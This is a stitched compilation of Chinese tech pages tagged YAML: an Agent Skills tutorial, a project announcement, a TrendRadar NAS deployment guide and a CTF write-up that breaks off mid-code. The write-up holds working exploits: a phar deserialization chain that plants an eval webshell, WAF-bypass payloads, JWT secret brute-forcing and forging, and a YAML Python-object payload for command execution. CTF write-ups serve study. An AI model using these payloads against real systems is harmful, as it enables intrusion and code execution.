标签 YAML 下的文章

一、为什么 Agent Skill 突然火了?

你是不是也有过这样的崩溃时刻?

  • 每次让 Claude 写代码,都要重复粘贴 请使用我们的代码规范:驼峰命名、2空格缩进、必须写单元测试 ——像极了每天入职新公司;
  • 好不容易调教好的 Prompt 换个项目就完全失效,之前的调教经验归零;
  • 团队里每个人给 AI 的指令不一样,导致输出的内容一会儿像资深架构师,一会儿像刚毕业的新手。

这些问题的根源,其实是 AI专业能力无法沉淀。直到 2025 年 10 月 Anthropic 推出 Agent Skill(又名 Claude Code Skill)正是为解决这些问题而生。这不仅是 Claude 的新功能,更是一个 开放的跨平台标准,目前已被 OpenAICursorTrae 等主流工具跟进支持。

本文将带你从 是什么怎么用在实际工作中,彻底掌握这个比 Prompt 更高级、比 MCP 更易用的 AI 编程神器。

 

二、到底什么是 Agent Skill?

用最通俗的比喻:Agent SkillAI入职手册 + 工具箱

想象你招了一位天才实习生 Claude 他智商极高但不懂你们公司的业务。传统的做法是每次布置任务都口头交代一遍 PromptAgent Skill 则是给他一本完整的标准作业程序 SOP

  • 📋 入职手册(SKILL.md):包含岗位描述、工作流程、注意事项
  • 🧰 工具箱(Scripts):处理特定任务的脚本和代码
  • 📚 参考资料(References):行业规范、模板素材、API文档

技术本质:Agent Skill 是一个标准化的文件夹结构,核心必须包含 SKILL.md 文件(YAML元数据 + Markdown说明),可选包含脚本、模板等资源文件。

my-skill/            # 技能包根目录
├── SKILL.md         # 📄 核心文件:元数据 + 工作流指令(必须)
├── scripts/         # 🔧 可选:自动化脚本(Python/Bash)
├── references/      # 📖 可选:专业文档、API手册、FAQ
└── assets/          # 🎨 可选:模板、示例、静态资源

AI 检测到相关任务时,会自动 翻开 对应的手册,严格按照既定流程执行,无需你每次都重复交代。

 

三、Skill工作原理

Skill 最精妙的设计,是它的 渐进式加载机制 —— 就像你查字典,先看目录,再翻对应章节,最后查附录,不会一上来就把整本书塞进脑子里。

3.1. 三层加载:用最少的 Token 做最多的事

加载层级内容类型加载时机作用
L1元数据(名片)Agent 启动时自动加载让AI知道“有什么技能可用”
L2说明文档(正文)匹配用户需求时加载教AI“具体怎么做”
L3资源文件(脚本 / 模板)执行中按需加载提供“工具/素材支持”

3.2. 四步执行流程

  1. 🎯 意图匹配:AI 扫描所有 Skill 的元数据,找到最匹配当前任务的技能
  2. 📖 读取指南:加载对应 SKILL.md,掌握执行步骤、检查点、输出规范
  3. 🔧 按需执行:调用 scripts/ 中的脚本,查询 references/ 中的资料
  4. ✅ 反馈结果:按模板输出成果,或询问缺失信息

 

四、现有技术的对比

4.1. Agent Skill vs Prompt

维度普通 PromptAgent Skill
性质临时指令,用完即走标准化流程,永久复用
加载方式每次全量输入按需渐进加载
稳定性依赖模型"记忆",易漂移固化检查点,强制执行
管理分散在聊天记录里文件化、版本可控
共享复制粘贴,易丢失格式整包分享,开箱即用
一句话总结:Prompt 是 口头交代,Skills 是书面 SOP + 工具箱

4.2. Agent Skill vs 多 Agent 架构

维度多 Agent 架构Agent Skill
复杂度重量级,需要架构设计轻量级,单个文件夹即可
适用场景复杂并行任务(如研究+写作+审核同时进行)单领域深度任务(如专业代码审查)
资源消耗高,需调度多个 Agent 实例低,单 Agent 内能力切换
启动成本需要搭建 Agent 框架零成本,复制文件夹即可
关系体系级解决方案单元级能力模块,可被多 Agent 调用

4.3. Agent Skill vs MCP

维度MCPAgent Skill
定位连接协议:AI 与外部系统的"USB 接口"执行标准:AI 做事的"操作手册"
解决的问题能不能连(访问数据库、API、文件系统)怎么做(流程、规范、最佳实践)
技术形态需要运行 MCP Server(TypeScript/Python)静态文件夹(Markdown + 脚本)
加载时机启动时建立连接按需渐进加载
关系互补:MCP 提供“工具”Skills 提供“使用指南”
MCP 让 AI 能连上数据库,Skill 教 AI 怎么按你们公司的规范查数据、生成报表、处理异常。两者配合,AI 才能真正成为"懂行的专家"。

 

五、创建你的第一个 Agent Skill

下面用 会议纪要整理助手 为例,从零创建一个 Skill

场景:开会录音转文字后,需要整理成结构化会议纪要。不同会议类型(周会/项目复盘/客户沟通)需要不同的整理模板。

5.1. 创建 Skill 文件夹结构

新建一个名为 meeting-minutes 的文件夹,总体的文件结构如下:

/meeting-minutes/
├── SKILL.md                    # L1:技能元数据,L2:内容
├── references/                 # L3:按会议类型按需加载
│   ├── weekly-rule.md          # 周会模板
│   ├── retro-rule.md           # 复盘模板
│   └── client-rule.md          # 客户沟通模板

5.2. SKILL.md(核心文件)

5.2.1. 元数据

SKILL.md 文件最开头以上下两个 --- 作为元数据标识

---
name: meeting-minutes
description: 办公室通用会议纪要整理助手,支持周会/项目复盘会/客户沟通会三类场景,自动识别会议类型,按需加载对应会议规则,智能提取关键信息,输出结构化纪要。
---

5.2.2. SKILL内容

5.3. 编写模块化配置references

通过文件分离,AI每次只读取当前任务所需的规则,避免 Context 污染

5.4. 测试你的 Skill(以 Trae 为例)

Trae 作为国内的 AI IDE 已原生支持 Agent Skills

  • 官网:https://www.trae.cn/
  • 下载并安装 TRAE IDE

5.4.1. 导入Skill

  1. 创建一个文件夹,例如 my_skills
  2. 使用 TRAE IDE 打开这个文件夹
  3. meeting-minutes 文件夹复制到 my_skills/.trae/skills/ 目录下

5.4.2. 输入提示词

需要切换为 SOLO 模式,然后在对话框输入以下提示词:

帮我生成周会会议纪要

原始文本:
小明:用户模块我搞完了,已经提测。
小红:接口文档我还没弄,我负责写,周五前给出来。
张三:测试环境那个问题搞不定,需要运维老陈帮忙看看。
李四:下周我打算开始订单模块,周三前出个技术方案看看。
王五:数据库设计谁review一下?
小明:我来吧,不过得明天才有空。

5.4.3. 执行Skill

5.4.4. 最终输出以下内容

 

六、本文Skill下载地址

本文案例 会议纪要整理助手 Skill 的下载地址如下:

  • Gitee地址:

https://gitee.com/zlt2000/my-agent-skill/tree/master/meeting-minutes

  • Github地址:

https://github.com/zlt2000/my-agent-skill/tree/master/meeting-minutes

在实际使用过程中本文 Skill 还可以进行以下迭代优化:

  1. references 里扩展更多的 会议类型 模板;
  2. script 文件夹写 Python 脚本,实现输出内容 导出word文档 或者 同步给飞书

 

七、总结

Agent Skills 的正式发布,标志着 AI 协作从 提示词工程 正式迈入 技能工程 的全新范式。它将人类专家的经验、标准化流程与行业最佳实践,封装成 AI 可理解、可执行、可复用的数字资产。

核心价值优势:

  1. 降本增效: 通过渐进式披露、按需加载机制,大幅减少 Token 消耗,同时让 AI 聚焦核心任务,推理效率与执行稳定性同步提升;
  2. 跨平台互通: 作为开放标准,实现 “一次构建、多端复用”,Skill 可无缝适配 Claude、Cursor、Trae、Copilot 等主流平台,打破工具壁垒;
  3. Skill 市场: 构建起类似 VS Code 插件市场的 Skill 生态,官方与社区共同打造技能商店,让专业能力可分享、可迭代、可规模化应用。

本文由mdnice多平台发布

一个突然冒出的想法,我现在用 YAML 文件维护我的个人职业 timeline ,借助 Resume-as-Code 这个项目自动生成高度匹配目标岗位 JD 的简历,但感觉少了点什么,太单调,不够好看。

于是我设计了 TimeFlux ,可以将个人 timeline 的 YAML 文件转为一个 Next.js 交互展示网站。

分享一下,如果喜欢可以点点 star ,感谢感谢 :)

Beautiful, YAML-driven personal timeline generator for developers.

TimeFlux is a modern, minimalist timeline generator designed for developers to showcase their professional journey, projects, and achievements. Just manage your career data in a simple YAML file, and TimeFlux handles the rest—delivering a high-performance, interactive, and visually stunning web experience.

Matrix 首页推荐 

Matrix 是少数派的写作社区,我们主张分享真实的产品体验,有实用价值的经验与思考。我们会不定期挑选 Matrix 最优质的文章,展示来自用户的最真实的体验和观点。 

文章代表作者个人观点,少数派仅对标题和排版略作修改。


大家好,我是飘雷。

在这个全民刷手机的时代,我们看似阅尽天下事,实则很容易被困在信息茧房里。

各种资讯 app 每天都在争先恐后地把它们认为用户可能喜欢的内容推送给我们,久而久之,我们获得的信息难免会落入同质化,真正有价值的信息其实不多。想要解决这个问题,就要尝试从被动投喂,变成主动获取。

最近 GitHub 上大火的 TrendRadar 项目,恰好击中了这个痛点。

项目地址:https://github.com/sansan0/TrendRadar

它能根据咱们自己设置的关键词和监控策略,聚合多平台热点和 RSS 订阅,还能将 AI 分析简报直推手机,也支持接入 MCP 架构,利用AI大模型进行自然语言的对话分析、情感洞察与趋势预测。

TrendRadar 特别适合投资者、自媒体人、企业公关、关注时事等用户使用,这也使得它在 GitHub 上获得了 4.3 万的超高星收藏。

趁着这几天有空,我用手头的威联通 NAS 把这个情报雷达搭建了起来,部署和配置的过程虽然有些繁琐,但成果也是喜人的。

我们可以通过网页访问 NAS IP 来查阅自己感兴趣的新闻:

也可以让它把热点新闻自动推送到邮箱等平台:

还可以在推送信息中看到 AI 分析的简报:

这种对信息掌控感真的拉满了情绪价值,个人觉得特别好用,所以本期我就同大家分享 TrendRadar 的手把手部署配置教程。

TrendRadar 部署流程

这里我们来展示如何在威联通 NAS 上通过 Docker Compose 进行部署,用到的设备是威联通最新的八盘位旗舰新品 Qu805。

下载项目文件

解压下载的压缩包,会得到一个名为 TrendRadar-master 的文件夹:

接下来咱们将上图中这些文件和文件夹全部上传到威联通 NAS 里,这里我放在了 /Container/TrendRadar 目录内,大家可以根据自己的实际情况灵活调整,只需要记住保存位置即可。

Docker Compose 部署

TrendRadar 自带的 Docker Compose 文件是根据本机访问的默认情况配置的,不太适合 NAS 场景,所以这里我们需要进行一些改动。

登录威联通 NAS 后台,打开 Container Station 容器工作站,点击左侧的应用程序,然后点击右侧黑色创建按钮。

在弹出的代码输入框中,我们输入以下 YAML 代码。注意里面的注释部分,像推送设置之类的选项可以在 YAML 代码中提前指定,也可以通过修改文件后期进行调整,这里大家需要根据自己的实际情况进行配置:

services:
  trendradar:
    image: wantcat/trendradar:latest
    container_name: trendradar
    restart: unless-stopped
    # 左边 8848 是你访问 NAS 的端口 (http://nas-ip:8848),根据需要修改
    # 右边 8080 是容器内部端口,不要改
    ports:
      - "8848:8080"


    # 映射目录,左侧为NAS文件夹路径,这里需要根据实际情况修改,比如我是在NAS的 /share/Container/TrendRadar
    volumes:
      - /share/Container/TrendRadar/config:/app/config
      - /share/Container/TrendRadar/output:/app/output


    environment:
      - TZ=Asia/Shanghai
      # 核心配置
      - ENABLE_CRAWLER=${ENABLE_CRAWLER:-}
      - ENABLE_NOTIFICATION=${ENABLE_NOTIFICATION:-}
      - REPORT_MODE=${REPORT_MODE:-}
      - DISPLAY_MODE=${DISPLAY_MODE:-}
      # Web 服务器,True为强制启用,启用后可以通过网页访问
      - ENABLE_WEBSERVER=true
      - WEBSERVER_PORT=${WEBSERVER_PORT:-8080}
      # 通知渠道
      # 飞书
      - FEISHU_WEBHOOK_URL=${FEISHU_WEBHOOK_URL:-}
      # 电报
      - TELEGRAM_BOT_TOKEN=${TELEGRAM_BOT_TOKEN:-}
      - TELEGRAM_CHAT_ID=${TELEGRAM_CHAT_ID:-}
      # 钉钉
      - DINGTALK_WEBHOOK_URL=${DINGTALK_WEBHOOK_URL:-}
      # 企业微信
      - WEWORK_WEBHOOK_URL=${WEWORK_WEBHOOK_URL:-}
      - WEWORK_MSG_TYPE=${WEWORK_MSG_TYPE:-}
      # 邮件配置
      - EMAIL_FROM=${EMAIL_FROM:-}
      - EMAIL_PASSWORD=${EMAIL_PASSWORD:-}
      - EMAIL_TO=${EMAIL_TO:-}
      - EMAIL_SMTP_SERVER=${EMAIL_SMTP_SERVER:-}
      - EMAIL_SMTP_PORT=${EMAIL_SMTP_PORT:-}
      # ntfy配置
      - NTFY_SERVER_URL=${NTFY_SERVER_URL:-https://ntfy.sh}
      - NTFY_TOPIC=${NTFY_TOPIC:-}
      - NTFY_TOKEN=${NTFY_TOKEN:-}
      # Bark配置
      - BARK_URL=${BARK_URL:-}
      # Slack配置
      - SLACK_WEBHOOK_URL=${SLACK_WEBHOOK_URL:-}
      # 通用Webhook配置
      - GENERIC_WEBHOOK_URL=${GENERIC_WEBHOOK_URL:-}
      - GENERIC_WEBHOOK_TEMPLATE=${GENERIC_WEBHOOK_TEMPLATE:-}
      # AI 分析配置,如果你需要开启 AI 分析,可以在这里填,或者去config.yaml填
      - AI_ANALYSIS_ENABLED=${AI_ANALYSIS_ENABLED:-false}
      - AI_API_KEY=${AI_API_KEY:-}
      - AI_PROVIDER=${AI_PROVIDER:-}
      - AI_MODEL=${AI_MODEL:-}
      - AI_BASE_URL=${AI_BASE_URL:-}
      # 远程存储配置(S3 兼容协议)
      - S3_ENDPOINT_URL=${S3_ENDPOINT_URL:-}
      - S3_BUCKET_NAME=${S3_BUCKET_NAME:-}
      - S3_ACCESS_KEY_ID=${S3_ACCESS_KEY_ID:-}
      - S3_SECRET_ACCESS_KEY=${S3_SECRET_ACCESS_KEY:-}
      - S3_REGION=${S3_REGION:-}
      # 运行模式
      - CRON_SCHEDULE=${CRON_SCHEDULE:-*/30 * * * *}
      - RUN_MODE=${RUN_MODE:-cron}
      - IMMEDIATE_RUN=${IMMEDIATE_RUN:-true}


# MCP 服务:提供接口给 Claude Desktop 等客户端,用不上的话下面这些代码可以删除
  trendradar-mcp:
    image: wantcat/trendradar-mcp:latest
    container_name: trendradar-mcp
    restart: unless-stopped


    ports:
      - "3333:3333"


    # 必须挂载与上面相同的路径,否则读取不到数据
    volumes:
      - /share/Container/TrendRadar/config:/app/config:ro
      - /share/Container/TrendRadar/output:/app/output


    environment:
      - TZ=Asia/Shanghai

代码粘贴无误后,记得点击下方的验证按钮,确保 YAML 格式正确。

最后点击创建按钮,系统就会自动拉取这个非常精简的镜像并启动服务,咱们可以在概览或容器列表中看到 trendradar trendradar-mcp 两个容器正在运行,状态显示为绿色小圆点。

常用配置选项解析

TrendRadar 的作者在项目页面提供了详细的个性化配置方法,感兴趣的朋友可以去详细阅读下,这里咱们就来看看一些常用的部分。

1配置监控平台

TrendRadar 的资讯数据来源于 newsnow,默认会抓取11个平台的热点新闻,需要抓取其他平台数据的的朋友可以去 newsnow 网站里查找一下。

查询地址:https://newsnow.busiyi.world/

需要对监控平台进行修改的话,可以打开 config 文件夹下的 config.yaml 文件,修改 platforms 部分:

威联通自带文本编辑器。你可以右键点击该文件,选择「打开方式 -> Text Editor」直接在线编辑,改完保存即可,无需下载到本地再上传。

platforms:
  - id: "toutiao"
    name: "今日头条"
  - id: "baidu"
    name: "百度热搜"
  - id: "wallstreetcn-hot"
    name: "华尔街见闻"
  # 添加更多平台...

去 newsnow 添加有点麻烦,图省事儿的话可以去下面的项目复制别人整理的 config.yaml 文件。

项目地址:https://github.com/sansan0/TrendRadar/issues/95

不过需要注意,监控的平台不是越多越好,建议选择 10 到 15 个核心平台,平台过多会导致信息过载,反而降低使用体验。

配置关键词

TrendRadar 的关键词设置是决定我们每天看到的是满屏含金量的干货,还是充斥着垃圾信息的关键一步。TrendRadar 的核心过滤逻辑存放在 config 文件夹下的 frequency_words.txt 文件中,需要手动细心配置。

这里打开威联通的 File Station,定位到我们部署时映射的路径,比如我使用的是 /share/Container/TrendRadar/config/,找到名为 frequency_words.txt 的文件。

TrendRadar 对关键字的配置不仅仅是写几个词那么简单,它支持七种语法,咱们简单举例来介绍下。

# --- 核心关注区 ---
NAS
威联通
群晖
Docker
TrendRadar
DeepSeek
ChatGPT
显卡 & 降价
# --- 必须屏蔽区 (净化眼球) ---
!出轨
!离婚
!绯闻
!男星
!女星
!只有我一个人
!震惊
!拼多多 & 砍一刀
# --- 行业观察 ---
人工智能
开源项目
# --- 这里的每一行代表一个规则,系统会逐行扫描 ---

  • 基础匹配(直接写词):威联通:只要标题或内容里有「威联通」,就会被抓取。
  • 强制屏蔽(使用 ! 表示「非」);在关键字前面加上感叹号后,包含此关键字的新闻会被直接丢弃。比如不想看娱乐圈的出轨八卦破事,使用「!出轨」,任何包含出轨的新闻就不会被显示出了。
  • 组合逻辑(使用 & 表示「与」):「NAS & 教程」的意思是,只有同时包含「NAS」和「教程」的文章才会被抓取,这能帮你过滤掉单纯的NAS降价广告,只看干货。
  • 多选逻辑(使用 | 表示「或」):「DeepSeek | ChatGPT | Claude」的意思是,只要包含这三个 AI 模型中的任意一个,都抓取。
  • 短语匹配(使用英文双引号""):以"Black Myth"为例,如果你直接写 Black Myth(没引号),系统可能会分别匹配 Black 和 Myth。加上引号后,会强制匹配由于空格隔开的专有名词(如《黑神话》)。
  • 权重提升(使用 ^):「^漏洞」的意思是,给「漏洞」这个词极高的权重,一旦出现,即使它在热榜排名不高,也会被强制推送到显眼位置。
  • 正则匹配式(使用 ~,适合硬核玩家):这部分就有点复杂了,不太适合普通玩家折腾,感兴趣的硬核玩家直接去项目原网页详细研究即可。

编辑完成后,点击威联通 Text Editor 右上角的「保存」,最后别忘了,修改关键词后,需要重启容器才能生效。

热点权重新调整

很多时候我们觉得热搜没啥意思,是因为平台的算法优先推荐短时间内爆发力强的内容,比如什么某明星忘本了道歉了之类的。但很多用户往往更关注那些有持久影响力的大事,比如国家重大政策和科技突破的消息等等。

advanced:
  weight:
    rank: 0.6           # 排名权重
    frequency: 0.3      # 频次权重
    hotness: 0.1        # 热度权重

在 TrendRadar 的 config/config.yaml 文件中,有一个 advanced -> weight 模块,这里就是控制热点筛选逻辑的地方,包含 rank、frequency、hotness 三个参数,这三个数字相加必须严格等于 1.0,否则程序会报错罢工。

在修改之前,咱们需要明白这三个数字代表什么,TrendRadar 默认使用的是较为平衡的配置:

  • rank(排名权重):代表爆发力,数值越高,越倾向于抓取各大榜单前几名的内容,哪怕它只火了十分钟。
  • frequency(频次权重):代表持久力,数值越高,越倾向于抓取那些在一天内反复上榜、被不同平台多次讨论的内容。这是过滤标题党的关键。
  • hotness(热度权重):代表绝对数值,由于不同平台的热度单位不同,有的几百万,有的几万,参考价值较低,通常保持低位即可。

一般来说,追求速度和时效性的用户提高排名权重,追求深度和稳定性的用户提高频次权重。

建议每次只调整 0.1 到 0.2 的数值,调完后保存文件,并在 Container Station 中重启容器生效。

修改后观察一两天的推送效果,如果觉得信息太滞后,就稍微调高 rank;如果觉得垃圾信息还是多,就继续调高 frequency。

接下来咱们来看看两个典型的配置案例。

抓取实时热点

如果你是自媒体博主或者营销人员,不想错过任何稍纵即逝的大瓜,想快速了解当前最火话题,可以使用这个配置,把所有瞬间冲上榜首的内容都推给你:

advanced:
  weight:
    rank: 0.8       # 拉高排名权重,只要进前三,立刻抓取
    frequency: 0.1  # 稍微关注一下持续性,不太在乎
    hotness: 0.1    # 保持默认

追踪重点话题

如果想要多看一些经过时间沉淀的重大新闻,可以使用这个配置:

advanced:
  weight:
    rank: 0.4           # 降低排名权重,不迷信热度榜首
    frequency: 0.5      # 拉高频次权重,更偏向持续热度
    hotness: 0.1

推送配置

TrendRadar v5.0 版本对推送内容进行了大规模重构,现在的推送内容不再是简单的链接堆砌,而是被划分为热榜新闻、RSS 订阅、全新热点(New 标记)、独立展示区、AI 分析五大核心板块。

而在推送方式方面,TrendRadar 支持微信、飞书、钉钉、Telegram、邮件、ntfy、bark、Slack 等渠道的智能推送,并且有当日汇总、当前榜单、增量监控三种推送模式。

推送相关的配置也是通过 config/config.yaml 文件来修改,同时也可以在 Docker Compose 代码中提前写好,在部署容器时就完整设置。这里我们以邮件推送为例进行展示。

开启 HTML 格式

很多用户反馈邮件收到的是一堆乱码或者纯文本,没有任何排版,原因就是没开启 HTML 支持。

得确保 config/config.yaml,找到 storage -> formats -> html,设置为 true

storage:
  formats:
    sqlite: true
    txt: false
    html: true   # 必须启用,否则邮件推送会失败

配置 SMTP 发送服务(以 163 邮箱为例)

虽然 TrendRadar 支持多种推送方式(如飞书、钉钉),但邮件依然是阅读长文和 AI 分析报告的最佳载体。

国内网络环境下,我自己是选择使用 163 邮箱作为发送方,稳定性非常高。当然 QQ 邮箱也可以,就是容易被系统判定为垃圾邮件。

首先登录你的 163 网页版邮箱,点击顶部「设置」 -> 「POP3/SMTP/IMAP」,开启「IMAP/SMTP 服务」或「POP3/SMTP 服务」,然后新增一个授权码。

系统会让你发送短信验证,验证成功后会弹出一个只显示一次的授权码,复制这个授权码,这是我们接下来要填的密码。

接下来咱们继续编辑 config.yaml,首先找到 notification 通知总开关的位置,将 enabled 设置为 true,开启通知。

然后找到 email 相关的配置区域:

具体设置方法如下所示:

      # 邮件发送方配置 (163邮箱)
      - EMAIL_FROM=你的账号@163.com
      # 注意:这里填的是刚刚获得的【授权码】,不是邮箱登录密码!
      - EMAIL_PASSWORD=填入你刚才获取的授权码
      - EMAIL_SMTP_SERVER=smtp.163.com
      - EMAIL_SMTP_PORT=465
      
      # 邮件接收方配置
      # 接收邮箱可以是同一个163邮箱,也可以是QQ邮箱或Gmail
      - EMAIL_TO=接收通知的邮箱@qq.com

如果这里不适用 163 邮箱来推送,可以根据作者提供的表格来修改 SMTP 服务器和端口地址:

配置完成后,保存文件并重启容器。

如果配置正确,TrendRadar 运行完毕后,你会收到一封标题类似《TrendRadar 每日热点报告》的邮件。

如果还想要设置推送频率和推送模式的话,同样可以查看作者给出的详细配置说明,限于篇幅这里不赘述了。

AI 分析配置

在 5.0 版本之前,TrendRadar 只能算一个勤恳的新闻搬运工;但从 5.0 开始,作者进行了重大升级,通过接入 AI 大模型 API 来对内容进行深度分析,自动生成热点洞察。

分析的内容包括:

  • 热点趋势概述
  • 关键词热度分析
  • 跨平台关联分析
  • 潜在影响评估
  • 值得关注的信号
  • 总结与建议

这里我们以 DeepSeek 为例,展示如何进行设置。

获取 API 的过程这里不再赘述,大家去自己的 API 提供商平台上复制即可,我们主要讲讲本地设置,同样要修改 config/config.yaml 这个配置文件,找到 ai_analysis 部分:

以 DeepSeek 官方 API 为例,如下设置:

ai_analysis:
  enabled: true                     # 是否启用 AI 分析,true为开启
  provider: "deepseek"              # AI 提供商
  api_key: ""                       # API Key
  model: "deepseek-reasoner"        # 模型名称,deepseek-reasoner为深度思考模式
  base_url: ""                      # 自定义 API 端点(可选)
  timeout: 120                      # 请求超时(秒)
  push_mode: "both"                 # 推送模式,both (推送到所有渠道)
  max_news_for_analysis: 50         # 最多分析多少条新闻
  include_rss: true                 # 是否包含 RSS 内容
  prompt_file: "ai_analysis_prompt.txt"  # 提示词配置文件

另外在 config 文件夹下,还有一个名为 ai_analysis_prompt.txt 的文件。这里存放的是发给 AI 的 Prompt 提示词。

作者已经将默认的提示词写好,包含趋势概述、关键词热度、跨平台关联、潜在影响等。但如果你有特殊需求,那可以根据自己需求进行针对性修改。

配置并重启容器后,AI 模块会在每次的抓取任务结束后运行,我们能在推送消息的底部看到像这样的分析报告:

总结

经过这一番折腾,当看到自己想看的新闻躺在邮箱里时,之前所有的复杂的配置都是值得的了。

以前,我们是算法的猎物,被锁在各大平台推送算法打造的信息茧房里,免不了被标题党牵着鼻子走。

而现在借助 TrendRadar 和 AI 的深度思考,我们终于可以翻身成为信息的主人,可以更清晰的知道这个世界发生了什么,哪些是转瞬即逝的信息泡沫,哪些是真正值得关注的行业暗流。

写到这里我又想到,像 TrendRadar 这类应用,或许才是许多公司和工作室采购 NAS 的原因之一。NAS 并非只能在家用环境中保存照片、挂挂 PT,更是能通过持久稳定工作,帮助用户圈出一块清醒的自留地,把实现各种功能的主动权重新握在自己手里。

> 关注 少数派小红书,感受精彩数字生活 🍃

> 实用、好用的 正版软件,少数派为你呈现 🚀

    前言

    本来早都写好了,官方WP提交截止时间是昨晚九点半,懒得等了,今早发吧,整体题目还是比较有意思的。

    Ez_readfile

    php反序列化利用phar协议绕过waf写入webshell

    析构函数中根据 $mode 值做不同操作:

    • 'w': 把 $_POST[0] 写入一个随机 .phar 文件(可能用于 PHAR 反序列化)。
    • 'r': include($_POST[0]) —— 文件包含漏洞

    构造利用链

    需要绕过正则,常用协议无法使用,这里使用glob协议

    Nimbus` 被反序列化 → 析构时调用 `$this->handle()`
     → `$a->handle` 是 `Nimbus` 实例 → 调用 `Nimbus::__invoke()

    根据利用连构造EXP如下

    <?php
    class Coral { public $pivot; }
    class Nimbus { public $handle; public $ctor; }
    class Zephyr { public $target; public $payload; }
    
    @unlink("phar.phar");
    $a = new Nimbus();
    $a->handle = new Nimbus();
    $a->handle->handle = new Zephyr();
    $a->handle->handle->target = new Coral();
    $a->handle->handle->target->pivot = new Nimbus();
    $a->handle->handle->target->pivot->ctor = "DirectoryIterator";
    $a->handle->handle->payload = "glob:///*fl*";
    echo serialize($a);
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php eval(\$_GET[1]); phpinfo(); __HALT_COMPILER(); ?>");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
    ?>

    使用gz压缩绕过WAF

    D:\phpstudy_pro\WWW>python 1.py
    %1F%8B%08%00%1Em%BEh%02%FF%B3%B1/%C8%28PH-K%CC%D1P%89ww%0D%896%8C%D5%B4V%00%8Ae%E6%A5%E5k%00%99%F1%F1%1E%8E%3E%21%F1%CE%FE%BE%01%9E%3E%AEA%20%21%7B%3B%5E.%1DF%06%06%20b%10d%80%D0%0C%0C%DF%80%D8%DF%CA%CCJ%C9/37%A9%B4X%C9%CA%C8%AA%BA%18%C4%CFH%CCK%C9IU%B2%26%2C%19%95Z%90QY%84%90%2CI%2CJO-%01I%9AZ%299%E7%17%25%E6%28Y%19%82%E4%80%DC%82%CC%B2%FC%12%02%86%FAY%17%5B%99X%29%25%97%E4%17%29%01%99%86%E6VJ.%99E%A9%20~%A5gIjQ%22X%A2%B6%B6%D8%0A%28S%90X%99%93%9F%98%02Vhd%A5%94%9E%93%9Fd%A5%AF%AF%AF%95%96%A3%05T%83d%90%1F%3A%8F%03%E8%F3%92%D4%E2%12%BD%92%8A%12%16%20%5B4w_%06%88%E6%A9%AB%BF%B1%0D%128%60%F9%03%ADO%96%AB%CChk%BDz3%3F%5D%ADrJ%FE%91%DE%2B%C6L%409w%27_%27%00%3C%AA%2BO%88%01%00%00

    POST上传文件,出发phar反序列化

    读取文件

    尝试写入webshell,进行命令执行,

    可以查看当前目录,发现存在backup的定时文件,创建软连接到backup目录下读取flag文件。

    EZ_python

    考察点:JWT伪造爆破

    ​ yaml文件正则过waf文件上传进行命令执行

    任意伪造jwt会报错密钥前缀,构造py爆破密钥

    # brute_jwt.py
    import jwt
    import string
    import itertools
    
    # 你的 JWT
    jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
    
    # 密钥前缀(直接写 %)
    secret_prefix = "@o70xO$0%#qR9#"
    
    # 字符集
    charset = string.ascii_letters + string.digits  # a-z, A-Z, 0-9
    
    print("🚀 开始爆破密钥...")
    
    for suffix in itertools.product(charset, repeat=2):
        secret = secret_prefix + ''.join(suffix)
        try:
            # 尝试解码
            decoded = jwt.decode(jwt_token, secret, algorithms=['HS256'])
            print(f"\n✅ 成功!密钥为:{secret}")
            print(f"Payload: {decoded}")
            break
        except jwt.InvalidTokenError:
            continue
    else:
        print("❌ 未找到密钥")

    获取到密钥构造admin权限的token进行文件上传

    # sign_admin.py
    import jwt
    
    # 已知信息
    secret = "@o70xO$0%#qR9#m0"  # 原始密钥(直接写 %)
    old_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
    
    # 新的 payload
    new_payload = {
        "username": "admin",
        "role": "admin"
    }
    
    # 使用 HS256 算法重新签名
    new_token = jwt.encode(new_payload, secret, algorithm='HS256')
    
    print("✅ 成功生成 admin JWT:")
    print(new_token)

    获取到正确的token上传

    文件上传的时候报错

    只有内容为python的内容才能直接运行,回显为run,猜测后端代码使用method=python,前端依旧可以上传yaml文件,构造脚本常看回显,先使用ls -l查看当前路径下的文件,在读取f111ag

    # send_yaml.py
    
    import requests
    
    url = "http://web-d4c6da270e.challenge.xctf.org.cn/sandbox"
    headers = {
        "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70"
    }
    
    # 上传 YAML 文件
    
    files = {
        'codefile': ('exploit.yaml', '''
    run: !!python/object/apply:subprocess.getoutput
    
      - cat /f1111ag*
        ''', 'text/yaml'),
        'mode': (None, 'yaml')  # 注意:mode 可能是 'yaml' 或 'yml'
        }
    
    r = requests.post(url, files=files, headers=headers)
    print("📡 状态码:", r.status_code)
    print("📜 响应内容:")
    print(r.text)

    SilentMiner

    攻击者IP auth.log下攻击者进行ssh爆破

    192.168.145.131

    攻击者共进行多少次ssh口令爆破失败?

    实际上搜索出的是257次,实际上答案是258,我说咋一直不对,最后随手改的竟然提交对了,这个应该是答案错了

    后门文件路径的绝对路径是什么?

    sshd文件被修改并且重启了ssh服务

    攻击者用户分发恶意文件的域名是什么?(注意系统时区)

    /bar/log/dnsmasq.log中的dns域名进行检索,最终确定为

    挖矿病毒所属的家族是什么?

    通过恢复恢复tmp目录下文件进行解密找到加密的病毒家族kinsing

    CheckWebshell

    流量分析比较简单,语法搜索字符串找到flag.txt

    返回包是内容,发现flag为sm4的国密算法求解得到flag

    <?php
    class SM4 {
        const ENCRYPT = 1;
        private $sk; 
        private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
        private static $CK = [
            0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
            0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
            0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
